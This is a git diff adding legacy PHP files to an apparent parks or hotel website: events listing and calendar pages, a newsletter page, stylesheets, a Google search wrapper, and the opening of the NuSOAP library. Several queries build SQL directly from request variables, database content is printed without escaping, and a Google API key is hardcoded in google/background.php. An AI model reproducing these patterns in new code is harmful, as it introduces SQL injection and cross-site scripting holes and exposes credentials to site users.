+                               echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+                       }
+               }
+       }       
+
+?>
+<!--- #EndCalendarofEventsSearch -->
+</select>
+<input type="SUBMIT" value="GO" name="SUBMIT">
+</form>
+       <?
+if(!isset($month))
+       {
+               $month = "All";//date("m Y");
+       }
+if(!$_POST["topic"] && !$_POST["month"])
+       {
+               $stick = " LIMIT 1 OFFSET 1";
+       }
+$qs = "SELECT  header,
+       date_part('month',bdate) as mon,
+       date_part('day',bdate) as day,
+       date_part('year',bdate) as yr,
+       date_part('month',edate) as mon2,
+       date_part('day',edate) as day2,
+       date_part('year',edate) as yr2,
+       bdate::date as sdate, edate::date as edate,
+       btime,etime, descr,loc,contact,email,url,img,event.id
+       FROM    event
+       WHERE   visable = 't'
+       AND             edate >= CURRENT_DATE
+       AND             (hotel_id = ".HOTEL_ID." OR hotel_id = 0)";
+       if(isset($topic) && $topic != "All")
+       {
+               $qs .= "\nAND   topicid = $topic";
+       }
+if($month != "All")
+       {
+               $m = substr($month,0,2);
+               $y = substr($month,3,4);
+               $smonth = date("m-d-Y",mktime(0,0,0,$m,1,$y));
+               $emonth = date("m-d-Y",mktime(0,0,0,$m+1,0,$y));
+               $qs .= "\nAND   edate >= '$smonth' 
+                       AND     bdate <= '$emonth'";
+       }
+$qs .= "\nORDER BY     bdate ASC $stick";
+if(!$res = db_exec($dbd,$qs)) 
+       {
+               html_error(DB_ERROR_MSG.$qs,0);
+       }
+while($result = pg_fetch_array($res))
+       {
+               $datares[] = $result;
+       }
+if(is_array($datares))
+       {
+               foreach($datares as $eventkey=>$eventval)
+               {
+                       //$eventrow["$eventval[mon]"][] = $datares[$eventkey];  
+                       for($i = (int)$eventval["mon"];$i <= (int)$eventval["mon2"];$i++)
+                       {
+                               // if monh exists then only show that month
+                               if($month == "All" || ( (int)$month == (int)$i ) )
+                               {
+                                       $eventrow["$i"][] = $datares[$eventkey];        
+                               }
+                       }
+               }
+       }
+if(is_array($eventrow))
+       {
+               $display_month = "";
+               foreach($eventrow as $ekey=>$row)
+               {
+                       if((int)$display_month != (int)$ekey)
+                       {
+                               echo '<h1 class="eventh1">'.date("F",mktime(0,0,1,$ekey,1,date("Y"))).'</h1>';
+                       }
+                       $display_month = (int)$ekey;
+                       foreach($row as $key=>$value)
+                       {
+                               if($value['sdate'])
+                               {
+                                               $sdate = strtotime($value["sdate"]);
+                                               $edate = strtotime($value["edate"]);
+                                               $thedate = GLM_TEMPLATE::getEventDate($sdate,$edate,"timestamp");
+                               }
+                               else
+                               {
+                                       $thedata = '';
+                               }
+                               if($value['img']) 
+                               {
+                                       $img = "<img src=\"".MIDSIZED.$value['img']."\" align=\"right\" vspace=\"5\" hspace=\"7\">";
+                               }
+                               else 
+                               {
+                                       $img = "";      
+                               }
+                               if($value['email'] && $value['contact']) 
+                               {
+                                       $email = "Contact: <a class=\"link\" href=\"mailto:".$value['email']."\">".$value['contact']."</a><br>";
+                               }
+                               elseif($value['email'] && !$value['contact']) 
+                               {
+                                       $email = "Contact:<a class=\"link\" href=\"mailto:".$value['email']."\">".$value['email']."</a><br>";
+                               }
+                               elseif($value['contact'] && !$value['email']) 
+                               {
+                                       $email = "Contact:>".$value['contact']."<br>";
+                               }
+                               else 
+                               {
+                                       $email = "";    
+                               }
+                               if($value['url']) 
+                               {
+                                       $url = "<div class=\"eventurl\">Web Site: <a class=\"link\" href=\"http://".$value['url']."\"
+                                               target=\"_BLANK\">".$value['url']."</a></div>";
+                               }
+                               else 
+                               {
+                                       $url = "";      
+                               }
+                               if($value['btime'] && $value['etime']) 
+                               {
+                                       $time = "Time: ".GLM_TEMPLATE::formatToTime($value['btime'])." To ".GLM_TEMPLATE::formatToTime($value['etime'])."<br>";         
+                               }
+                               elseif($value['btime'] && !$value['etime']) 
+                               {
+                                       $time = "Time: ".GLM_TEMPLATE::formatToTime($value['btime'])."<br>";            
+                               }
+                               else 
+                               {
+                                       $time = "";             
+                               }
+                               if($img)
+                               {
+                                       echo $img;
+                               }
+                               echo "<div class=\"eventheader\"><b>".$value['header']."</b></div>";
+                               echo '<div><span class="eventdate">Date: </span>'.$thedate.'</div>';
+                               echo "<div class=\"text\">".$time."</div>";
+                               if($value['topic'])
+                               {
+                                       echo "<div class=\"text\">Topic:".$value['topic']."</div>";
+                               }
+                               if($value['loc'])
+                               {
+                                       echo '<span class="eventloc">Location: </span><span
+                                               class="eventvalue">'.$value['loc']."<span><br>";
+                               }
+                               echo $email."<div class=\"text\">";
+                               if($value['descr'])
+                               {
+                                       echo nl2br($value['descr']);
+                               }
+                               echo $url."<br clear=\"all\">";
+                               //if(!$eventid)
+                               //echo "</div><div class=\"homeeventmore\"><a
+                               //      href=\"events.phtml?pink=$pink&eventid=$value[id]\">details...</a></div><br clear=\"all\">";
+                       }
+               }
+       }
+?>
diff --git a/classes/glm-Events-calendar-2-0.phtml b/classes/glm-Events-calendar-2-0.phtml
new file mode 100755 (executable)
index 0000000..2181166
--- /dev/null
@@ -0,0 +1,331 @@
+<?
+/*************************************************************************************         
+ *     
+ *     $Id: glm-Events-calendar-2-0.phtml,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $   
+ *     
+ ************************************************************************************ 
+ *     
+ *     Event Calendar display "eventcalendar.inc"
+ *     Author: Steve Sutton
+ *     Copyright Gaslight Media(R)
+ *     
+ ************************************************************************************ 
+ *     
+ *     For use with glm-Events-2-0     
+ *     
+ ************************************************************************************/ 
+//include_once("setup.phtml");
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+$dbd = db_connect(CONN_STR);
+function lastDayOfMonth($timestamp = ''){
+   if($timestamp=='') $timestamp=time();
+   return(
+       mktime(0,0,0,
+           date("m",$timestamp)+1,
+           1,
+           date("Y",$timestamp)
+       )-3600*24);
+}
+
+function firstDayOfMonth($timestamp=''){
+   if($timestamp=='') $timestamp=time();
+   return(mktime(0,0,0,
+       date("m",$timestamp),
+       1,
+       date("Y",$timestamp)
+   ));
+}
+if(!$year)
+       {
+               $year = date("Y");
+       }
+if(!$month || $month == "All")
+       {
+               $month = date("n");     
+       }
+if(ereg("^0([0-9]).*",$month,$part))
+       $month = $part[1];
+$st = mktime(0,0,0,$month,1,$year);
+$starting = date("m-d-Y",firstDayOfMonth($st));
+$ending = date("m-d-Y",lastDayOfMonth($st));
+// Topic is disabled for the calendar view output.
+/* if(isset($topic) && $topic != "All")
+{
+       $addpart .= " AND topicid = $topic ";
+} */
+
+$query = "SET DATESTYLE TO 'SQL,US';
+SELECT         id,header,
+       date_part('month',bdate) as mon,
+       date_part('day',bdate) as day,
+       date_part('year',bdate) as yr,
+       date_part('month',edate) as mon2,
+       date_part('day',edate) as day2,
+       date_part('year',edate) as yr2,
+       bdate as sdate, edate as edate,
+       btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+       FROM            event
+       WHERE           visable = 't'";
+$query .= "AND                 bdate <= '$ending' 
+       AND             edate >= '$starting' $addpart";
+$query .= "ORDER BY    bdate DESC,btime ASC";
+$events_data = db_auto_get_data($query,CONN_STR);
+if(is_array($events_data))
+       {
+               foreach($events_data as $key=>$row)
+               {
+                       $daysow = (int)$row["daysow"];
+                       $mon = (int)$row["mon"];
+                       $day = (int)$row["day"];
+                       $yr = (int)$row["yr"];
+                       $mon2 = (int)$row["mon2"];
+                       $day2 = (int)$row["day2"];
+                       $yr2 = (int)$row["yr2"];
+                       $sdate = mktime(0,0,30,$mon,$day,$yr);
+                       $edate = mktime(0,0,30,$mon2,$day2,$yr2);
+                       for($d=$day;$d<32;$d++)
+                       {
+                               // find the current_doyow
+                               //echo "current day = $d<br>";
+                               $cur_dow = date("w",mktime(0,0,30,$mon,$d,$yr));
+                               switch($cur_dow)
+                               {
+                                       case 0:
+                                               $cur_dow = 1;
+                                               break;
+                                       case 1:
+                                               $cur_dow = 2;
+                                               break;
+                                       case 2:
+                                               $cur_dow = 4;
+                                               break;
+                                       case 3:
+                                               $cur_dow = 8;
+                                               break;
+                                       case 4:
+                                               $cur_dow = 16;
+                                               break;
+                                       case 5:
+                                               $cur_dow = 32;
+                                               break;
+                                       case 6:
+                                               $cur_dow = 64;
+                                               break;
+                               }
+                               $date = date("m-d-Y",mktime(0,0,30,(int)$mon,(int)$d,(int)$yr));
+                               $daysinmonth = date("t",mktime(0,0,30,$mon,$d,$yr));
+                               $time = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+                               $starttime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+                               $endtime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+                               if( $row["reacur"] != "t")
+                               {
+                                       if($starttime<=$time && $endtime>=$time )
+                                               $newdata["$date"][] = $row;
+                               }
+                               elseif((int)$cur_dow&$daysow)
+                               {
+                                       //echo $cur_dow."<br>";
+                                       if($edate>=$time && $sdate<=$time )
+                                               $newdata["$date"][] = $row;
+                               }
+                               if($row["reacur"]=="" || $row["reacur"]=="f")
+                               {
+                                       $d = 32;
+                                       break;
+                               }
+                               if($mon2>$mon && $d==$daysinmonth)
+                               {
+                                       $d=0;
+                                       $mon++;
+                                       if($mon==13)
+                                               $mon=1;
+                               }
+                               if($yr2>$yr && $d==$daysinmonth)
+                               {
+                                       $d=0;
+                                       $mon++;
+                                       if($mon==13)
+                                               $mon=1;
+                               }
+                               if($yr2>$yr && $mon==12)
+                               {
+                                       $d=0;
+                                       $mon=0;
+                                       $yr++;
+                               }
+                       }
+               }
+       }
+$GLOBALS['newdata'] = $newdata;
+//echo '<pre>';
+//     print_r($newdata);
+//echo '</pre>';
+function show_event_headers($date){
+       global $newdata;
+       if(ereg("([0-9]{1,2})[-/]([0-9]{1,2})[-/]([0-9]{4})",$date,$dpart))
+       {
+               $month = (int)$dpart[1];
+               $year = (int)$dpart[3];
+       }
+       if(!is_array($newdata[$date]))
+               return(false);
+       else{
+               foreach($newdata[$date] as $num=>$data){
+                       $data2[] = '<a href="index.phtml?month='.$month.'&year='.$year.'&eventid='.$data[id].'">'.$data[header].'</a>';
+               }
+               $output = implode("<br>",$data2);
+               echo $output;
+       }
+}
+function data( $month, $day, $year ) {
+       global $newdata;
+       if($month < 10)
+               $month = '0'.$month;
+       if((int)$day < 10)
+               $day = '0'.$day;
+       $date = $month.'-'.$day.'-'.$year;
+       //echo "date = $date<br>";
+       if($newdata[$date]){
+               show_event_headers($date);
+       }
+       else
+       {
+               return(false);
+       }
+}
+$name_month = array (
+               1  => "January",
+               2  => "Febuary",
+               3  => "March",
+               4  => "April",
+               5  => "May",
+               6  => "June",
+               7  => "July",
+               8  => "August",
+               9  => "September",
+               10 => "October",
+               11 => "November",
+               12 => "December"
+               );
+function calendar( $month, $year, $size, $href ,$href2) {
+       global $RIGHTLINK,$LEFTLINK;
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+       // Change to month/year to display 
+       if( !isset( $month ) )
+               $month = date('m');
+       if( !isset( $year ) )
+               $year = date('Y');
+       $next = $month +1;
+       $next_year = $year;
+       $prev = $month -1;
+       $prev_year = $year;
+       if( $next == 13 )
+       {
+               $next = 1;
+               $next_year++;
+       }
+       if( $next == 0 )
+       {
+               $next = 12;
+               $next_year--;
+       }
+       if( $prev == 13 )
+       {
+               $prev = 1;
+               $prev_year++;
+       }
+       if( $prev == 0 )
+       {
+               $prev = 12;
+               $prev_year--;
+       }
+       $prev_month = '<a href="'.$href.$prev.'&year='.$prev_year.'">'.$LEFTLINK.'</a>';
+       $next_month = '<a href="'.$href.$next.'&year='.$next_year.'">'.$RIGHTLINK.'</a>';
+       // How to display the titles on the header of the calendar 
+       if( $size == 2 )
+       {
+               $height = 50;
+               $width = 60;
+               $table_width = 550 ;
+               $week_titles  = array
+                       (
+                        0 => "Sunday",
+                        1 => "Monday",
+                        2 => "Tuesday",
+                        3 => "Wednesday",
+                        4 => "Thursday",
+                        5 => "Friday",
+                        6 => "Saturday"
+                       );
+       }
+       if( $size == 1 )
+       {
+               $height = 1;
+               $width = 1;
+               $table_width = 100;
+               $week_titles = array
+                       (
+                        0 => "S",
+                        1 => "M",
+                        2 => "T",
+                        3 => "W",
+                        4 => "T",
+                        5 => "F",
+                        6 => "S"
+                       );
+       }
+       // determine total number of days in a month 
+       $totaldays = 0;
+       while ( checkdate( $month, $totaldays + 1, $year ) )
+               $totaldays++;
+       // build table 
+       echo '<table class="caltable" border="1">';
+       $calendar = date( "F", mktime( 0, 0, 0, $month + 1, 0, $year ) );
+       echo '<tr>
+                       <td class="caltitle">'.$prev_month.'</td>
+                       <td colspan="5" class="calmonth"> '.$calendar.' '.$year.'</td>
+                       <td class="caltitle">'.$next_month.'</td>
+                 </tr>';
+       echo '<tr>';
+       //echo '<TH COLSPAN=2 WIDTH=150 BGCOLOR="'.$THCLR.'">'.$THFT.'Things to Do</FONT></TH>';
+       for ( $x = 0; $x < 7; $x++ )
+       {
+               echo '<td class="caldayheader">'.$week_titles[$x].'</td>';
+       }
+       echo '</tr>';
+       // ensure that a number of blanks are put in so that the first day of the month
+       // lines up with the proper day of the week 
+       $offset = date( "w", mktime( 0, 0, 0, $month, 0, $year ) ) + 1;
+       echo '<tr>';
+       if ( $offset > 0 && $offset != 7 )
+               echo str_repeat( "<td class=\"calspacer\">&nbsp;</td>",$offset);
+       if( $offset == 7 )
+               $offset = 0;
+       // start entering in the information 
+       for ( $day = 1; $day <= $totaldays; $day++ ) {
+               echo '<td class="calday" valign="top">';
+               echo $day.'<br>';
+               data( $month, $day, $year );
+               echo '</td>';
+               $offset++;
+               // if we're on the last day of the week, wrap to the other side 
+               if ( $offset > 6 )
+               {
+                       $offset = 0;
+                       echo '</tr>';
+                       if ( $day < $totaldays )
+                               echo '<tr>';
+               }
+       }
+       // fill in the remaining spaces for the end of the month, just to make it look
+       // pretty 
+       if ( $offset > 0 )
+               $offset = 7 - $offset;
+       if ( $offset > 0 )
+               echo str_repeat( "<td class=\"calspacer\">&nbsp;</td>", $offset );
+       // end the table 
+       echo '</tr></table>';
+}
+?>
diff --git a/classes/glm-Newsletter-2-0.phtml b/classes/glm-Newsletter-2-0.phtml
new file mode 100755 (executable)
index 0000000..fe50a4f
--- /dev/null
@@ -0,0 +1,165 @@
+<?
+/******************************************************************************
+ *
+ *     $Id: glm-Newsletter-2-0.phtml,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+ *
+ ******************************************************************************
+ *
+ * Gaslight Media Toolbox output                                              
+ * glm-Newsletter-2-0                                                         
+ * copyright 2001                                                             
+ * Author:Steve Sutton                                                        
+ *
+ ******************************************************************************/
+
+//include("setup.phtml");
+
+if(!$dbd = db_connect())
+       html_error(DB_ERROR_MSG,1);
+
+$catid = 3;
+
+if(isset($id)) 
+       {
+       $archqs = "SELECT       id,title,status 
+                          FROM         news
+                          WHERE        (status = 'archived'
+                          OR           status = 'current')
+                          AND          catid = $catid
+                          ORDER BY status DESC";
+       }
+else 
+       {
+       $archqs = "SELECT       id,title,status 
+                          FROM         news
+                          WHERE        status = 'archived'
+                          AND          catid = 1";
+       }
+
+if(!$archres = db_exec($dbd,$archqs)) 
+       html_error(DB_ERROR_MSG,1);
+
+
+if(pg_numrows($archres)>0)
+       {
+       for($a=0;$a<pg_numrows($archres);$a++) 
+               {
+               $archrow = db_fetch_array($archres,$a,PGSQL_ASSOC);
+               if($archrow[status]=="current") 
+                       {
+                       $archive[$archrow[title]." (current)"] = "news.phtml?id=$archrow[id]";
+                       }
+               else 
+                       {
+                       $archive[$archrow[title]] = "news.phtml?id=$archrow[id]";
+                       }
+               }
+       }
+
+if(isset($id) && $id != "") 
+       {
+       $qs = "SELECT   id,title,header,description,image
+                  FROM         news 
+                  WHERE        id = $id";
+       } 
+else 
+       {
+       $qs = "SELECT   id,title,header,description,image
+                  FROM         news 
+                  WHERE        status = 'current'
+                  AND          catid = $catid";
+       }
+
+if(!$res = db_exec($dbd,$qs)) 
+       html_error(DB_ERROR_MSG,1);
+
+if(pg_numrows($res)>0) 
+       {
+       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+       if($row[image] != "") 
+               {
+               $img = "<img src=\"".MIDSIZED.$row[image]."\" align=left hspace=10 vspace=10>";
+               }
+       else 
+               {
+               $img = "&nbsp;";
+               }
+/* begin output for main section of newsletter */
+?>
+<center>
+
+<table width=400>
+<tr>
+  <td class="header"><?echo $row[title]?></td>
+</tr>
+<tr>
+  <td align=left class="subheadline"><?echo $row[header]?></td>
+</tr>
+<tr>
+  <td class="content"><?echo $img.nl2br($row[description])?></td>
+</tr>
+<tr><td>&nbsp;</td></tr>
+<?
+/* end output for main section of newsletter */
+if($row[id])
+       {
+       $blockqs = "SELECT      header,description,image,pos
+                               FROM    news_block 
+                               WHERE   news_id = $row[id]
+                               ORDER BY pos";
+
+       if(!$blockres = db_exec($dbd,$blockqs)) 
+               html_error(DB_ERROR_MSG,1);
+
+       if(pg_numrows($blockres)>0) 
+               {
+               for($i=0;$i<pg_numrows($blockres);$i++) 
+                       {
+                       if($i%2==0)
+                               $align = "align=right";
+                       else 
+                               $align = "align=left";
+                       $blockrow = db_fetch_array($blockres,$i,PGSQL_ASSOC);
+                       if($blockrow[image] != "") 
+                               {
+                               $blockimg = "<img src=\"".MIDSIZED.$blockrow[image]."\"$align>";
+                               }
+                       else 
+                               {
+                               $blockimg = "&nbsp;";
+                               }
+       /* begin output for block sections of newsletter */
+       ?>
+       <tr>
+         <td align=left class="header"><?echo $blockrow[header]?></td>
+       </tr>
+       <tr>
+         <td class="content"><?echo $blockimg.nl2br($blockrow[description])?></td>
+       </tr>
+       <tr><td>&nbsp;</td></tr>
+       <?      
+                       }
+               }
+       }
+?>
+<tr><td><B>Newsletters</b><br>
+<?
+if(is_array($archive))
+       {
+       echo html_nav_table($archive,1);
+       }
+?></td></tr>
+</table>
+</center>
+<?
+/* end output for block sections of newsletter */
+       }
+else 
+       {
+       ?> <div class="content">
+       No Newsletter today!
+       </div>
+       <?
+       }
+
+?>
diff --git a/contactform.css b/contactform.css
new file mode 100755 (executable)
index 0000000..3abdaeb
--- /dev/null
@@ -0,0 +1,58 @@
+.req {color: c00;}
+#contact table { 
+ background-color: #F9FBFD; 
+ color: #000; 
+ width: 400px;  
+ border: 1px solid #D7E5F2; 
+ border-collapse: collapse; 
+       margin-top: 50px;
+       margin-left: 20px;
+       font-size: 12px;}
+       
+       form, input, textarea, select
+       {font-size: 12px;
+       font-family: arial,Arial, Helvetica, sans-serif; 
+       }
+.labelcell, .fieldcell, .smalllabelcell, .smallfieldcell, textarea {color: #000;}
+
+#contact td { 
+ border: 1px solid #D7E5F2; 
+ padding-left: 4px; 
+}
+
+.labelcell { 
+       background-color: transparent; 
+ width: 150px; 
+} 
+
+.fieldcell { 
+ background-color: #F2F7FB; 
+ text-align: left; 
+ margin-right: 0px; 
+ padding-right: 0px; 
+} 
+
+.smalllabelcell { 
+ background-color: transparent; 
+} 
+
+.smallfieldcell { 
+ background-color: #F2F7FB; 
+ text-align: left; 
+  
+}
+.fieldcell input { 
+ background-color: #fff; 
+ margin-right: 0px; 
+
+} 
+
+.smallfieldcell input { 
+ width: 100px;  
+ background-color: #fff; 
+} 
+
+.smallfieldcell select { 
+ background-color: #fff; 
+}
+textarea {width: 250px; height: 100px;display:block;}
diff --git a/gallery.css b/gallery.css
new file mode 100755 (executable)
index 0000000..c4101ce
--- /dev/null
@@ -0,0 +1,15 @@
+div.thumb {
+       margin-right: 3px;
+       border: 0px solid #EFF3FF;
+       height: auto;
+       float: left;
+       text-align: center;
+       }       
+.thumb img{
+       display: inline;
+       margin: 1px;
+       border: 0px solid #B3D1EF;
+       }
+.thumb a:hover img {border: 0px solid black;}
+.photocattitle {text-align: center; font-weight: normal; width: 130px;margin: 2px;} 
+.phototitle {text-align: center; font-weight: normal; width: 130px;margin: 2px;} 
diff --git a/gallery.jpg b/gallery.jpg
new file mode 100755 (executable)
index 0000000..3e71c1f
Binary files /dev/null and b/gallery.jpg differ
diff --git a/google/background.php b/google/background.php
new file mode 100755 (executable)
index 0000000..0b15d6c
--- /dev/null
@@ -0,0 +1,66 @@
+<?php
+  function MainSearchSite()
+  {
+    return "mackinacparks.com";//Leave blank for the entire web.
+  }
+
+  function ShowOptions()
+  {
+    return false;//Set to false to hide the option radio buttons.
+  }
+  
+  function GoogleKey()
+  {
+    return "jHozShpQFHKmGUeubtNSrLJ4WUKKBcIo";
+  }
+  
+  function GoogleAPIURL()
+  {
+    return "http://api.google.com/search/beta2";
+  }
+  
+  function MaxResults()
+  {
+    return 10;//Cannot be greater than 10.
+  }
+
+  function PageSpread()
+  {
+    return 9;//Should not be excessive.
+  }
+
+  function SmartyClass()
+  {
+    return "google/smarty/Smarty.class.php";
+  }
+  
+  function SmartyCompileDir()
+  {
+    return "compile";
+  }
+  
+  function SmartyIsSubDir()
+  {
+    //This is set to true if SmartyCompileDir is supposed to be a subdirectory off of the current
+    //working directory.
+    return true;
+  }
+  
+  function DirDelimiter()
+  {
+    return "/";//This should be "/" for Unix or Linux, and should be "\\" for Windows.
+  }
+  
+  function FullSmartyCompileDir()
+  {   
+    if (SmartyIsSubDir())
+    {
+      $Result = getcwd().DirDelimiter().SmartyCompileDir().DirDelimiter();
+    }
+    else//SmartyCompileDir contains an absolute path.
+    {
+      $Result = SmartyCompileDir();
+    }
+    return $Result;
+  }    
+?>
diff --git a/google/footer.php b/google/footer.php
new file mode 100755 (executable)
index 0000000..a273117
--- /dev/null
@@ -0,0 +1,11 @@
+<?php 
+  include_once('background.php');
+  include_once(SmartyClass());  
+  
+  function sFooter()
+  {
+    $FooterTemplate = new Smarty;
+    $FooterTemplate ->compile_dir = FullSmartyCompileDir();
+    return $FooterTemplate ->fetch('footer.tpl.htm');
+  }
+?>
diff --git a/google/footer.tpl.htm b/google/footer.tpl.htm
new file mode 100755 (executable)
index 0000000..182e8ba
--- /dev/null
@@ -0,0 +1,18 @@
+<div align="center">
+  <center>
+  <table border="0" style="border-collapse: collapse" bordercolor="#111111" cellpadding="0" cellspacing="0">
+  <tr>
+    <td>
+    <p align="center"><font face="Verdana" size="1">&nbsp;</font></td>
+  </tr>
+  <tr>
+    <td>
+    <p align="center"><font face="Verdana" size="1">&nbsp;</font></td>
+  </tr>
+  <tr>
+    <td>
+    <p align="center"><font size="1" face="Verdana">Powered by <a href="http://www.thinkbling.com">
+    ThinkBling.com</a></font></td>
+  </tr>
+</table></center>
+</div>
diff --git a/google/htmlfuncs.php b/google/htmlfuncs.php
new file mode 100755 (executable)
index 0000000..c7ad226
--- /dev/null
@@ -0,0 +1,149 @@
+<?php
+  function Font($Font, $Size, $Text, $Color)
+  {
+    if ($Color != "")
+    {
+      $Color = " COLOR=\"".$Color."\"";
+    }
+    return "<FONT FACE=\"$Font\" SIZE=\"$Size\"$Color>$Text</FONT>";
+  }
+  
+  function nbsp($Text)
+  {
+    return "&nbsp;$Text&nbsp;";
+  }
+  
+  function Line($Text)
+  {
+    return "<SPAN STYLE=\"text-decoration: line-through\">".$Text."</SPAN>";
+  }
+
+  function Table($HTML)
+  {
+    return "<TABLE>$HTML</TABLE>";
+  }
+  
+  function TableW($HTML, $Width)
+  {
+    return "<TABLE WIDTH=\"$Width\">$HTML</TABLE>";
+  }
+  
+  function href($HTML, $URL)
+  {
+    return "<A HREF=\"$URL\">$HTML</A>";
+  }
+
+  function hreft($HTML, $URL, $Target)
+  {
+    return "<A HREF=\"$URL\" TARGET=\"$Target\">$HTML</A>";
+  }
+  
+  function Img($Text)
+  {
+    if ($Text != "")
+    {
+      return "<IMG SRC=\"$Text\" BORDER=\"0\">";     
+    }
+    else
+    {
+      return "";
+    }
+  }
+  
+  function TRTDW($Text, $Width)
+  {
+    return TR(TDW(Center($Text),$Width));
+  }
+  
+  function TRTDC($Text)
+  {
+    return TR(TD(Center($Text)));
+  }
+  
+  function Center($Text)
+  {
+    return "<CENTER>$Text</CENTER>";
+  }
+  
+  function TRTD($Text)
+  {
+    return TR(TD($Text));
+  }
+  
+  function TR($Text)
+  {
+    return "<TR>$Text</TR>";
+  }
+
+  function TDC($Text)
+  {
+    return TD(Center($Text));
+  }
+  
+  function TD($Text)
+  {
+    return "<TD VALIGN=\"top\">$Text</TD>";
+  }  
+
+  function TDWC($Text, $Width)
+  {
+    return TDW(Center($Text), $Width);
+  } 
+  
+  function TDW($Text, $Width)
+  {
+    return "<TD  VALIGN=\"top\" WIDTH=\"$Width\">$Text</TD>";
+  } 
+  
+  //Returns the string "selected" if $Type1 and $Type2 are the same (Not case sensitive).
+  function Selected($Type1, $Type2)
+  {
+    $Result = "";  
+    if (strtoupper($Type1) == strtoupper($Type2))
+    {
+      $Result = "selected";
+    }
+    return $Result;
+  }
+  
+  function PopUp($Page,$Name,$W,$H,$Caption)
+  {
+    $Result = "<a HREF=\"javascript:void window.open('$Page','$Name','top=0, left=0, toolbar=0,location=1,directories=0,status=1,menubar=0,resizable=1,scrollbars=1,width=$W,height=$H')\">$Caption</a>";
+    return $Result;
+  }  
+
+  //GetParam checks against POST, GET and then Cookies.  If they don't exist
+  // then $Default is used.
+  function GetParam($Param, $Default)
+  {
+    $Result = "";  
+
+    //Get the parameter if has been past in via POST
+    if(isset($_POST[$Param]))
+    {
+      $Result = rawurldecode($_POST[$Param]);
+    }
+    else
+    {
+      //Get the parameter if has been past in via GET
+      if(isset($_GET[$Param]))
+      {
+        $Result = rawurldecode($_GET[$Param]);
+      }
+      else
+      {
+        //Get the paramenter if a cookie exists for it.
+        if (isset($_COOKIE[strtoupper($Param)]))
+        {
+          $Result = rawurldecode($_COOKIE[strtoupper($Param)]);
+        }
+        else
+        {
+          //The parameter hasn't been set.
+          $Result = $Default;
+        }
+      }
+    }
+    return $Result;
+  }
+?>
\ No newline at end of file
diff --git a/google/index.php b/google/index.php
new file mode 100755 (executable)
index 0000000..ff796e5
--- /dev/null
@@ -0,0 +1,8 @@
+<?php
+  //include_once("../search_header.htm");
+  include_once("search.php");
+  include_once("results.php");
+  include_once("footer.php");
+
+  echo Search().sFooter();//.SearchResults().sFooter();
+?>
diff --git a/google/nusoap.php b/google/nusoap.php
new file mode 100755 (executable)
index 0000000..1bbf04b
--- /dev/null
@@ -0,0 +1,3275 @@
+<?php
+
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+If you have any questions or comments, please email:
+
+Dietrich Ayala
+dietrich@ganx4.com
+http://dietrich.ganx4.com/nusoap
+
+NuSphere Corporation
+http://www.nusphere.com
+
+*/
+
+/* load classes
+
+// necessary classes
+require_once('class.soapclient.php');
+require_once('class.soap_val.php');
+require_once('class.soap_parser.php');
+require_once('class.soap_fault.php');
+
+// transport classes
+require_once('class.soap_transport_http.php');
+
+// optional add-on classes
+require_once('class.xmlschema.php');
+require_once('class.wsdl.php');
+
+// server class
+require_once('class.soap_server.php');*/
+
+
+// make errors handle properly in windows (thx, thong@xmethods.com)
+error_reporting(2039);
+
+/**
+*  set schema version
+*
+* @var      XMLSchemaVersion
+* @access   public
+*/
+$XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema';
+
+/**
+*  load namespace uris into an array of uri => prefix
+*
+* @var      namespaces
+* @access   public
+*/
+$namespaces = array(
+        'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
+        'xsd' => $XMLSchemaVersion,
+        'xsi' => $XMLSchemaVersion.'-instance',
+        'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
+        'si' => 'http://soapinterop.org/xsd');
+
+/**
+*
+* nusoap_base
+*
+* @author   Dietrich Ayala <dietricha@ganx4.com>
+* @version  v 0.6
+* @access   public
+*/
+
+class nusoap_base {
+
+        var $title = 'NuSOAP';
+        var $version = '0.6';
+        var $error_str = false;
+               // toggles automatic encoding of special characters
+        var $charencoding = true;
+
+        /**
+        *  set default encoding
+        *
+        * @var      soap_defencoding
+        * @access   public
+        */
+        var $soap_defencoding = 'UTF-8';
+
+        /**
+        *  load namespace uris into an array of uri => prefix
+        *
+        * @var      namespaces
+        * @access   public
+        */
+        var $namespaces = array(
+                'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
+                'xsd' => 'http://www.w3.org/2001/XMLSchema',
+                'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
+                'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
+                'si' => 'http://soapinterop.org/xsd');
+        /**
+        * load types into typemap array
+        * is this legacy yet?
+        * @var      typemap
+        * @access   public
+        */
+        var $typemap = array(
+        'http://www.w3.org/2001/XMLSchema' => array(
+                'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double',
+                'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'',
+                'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string',
+                // derived datatypes
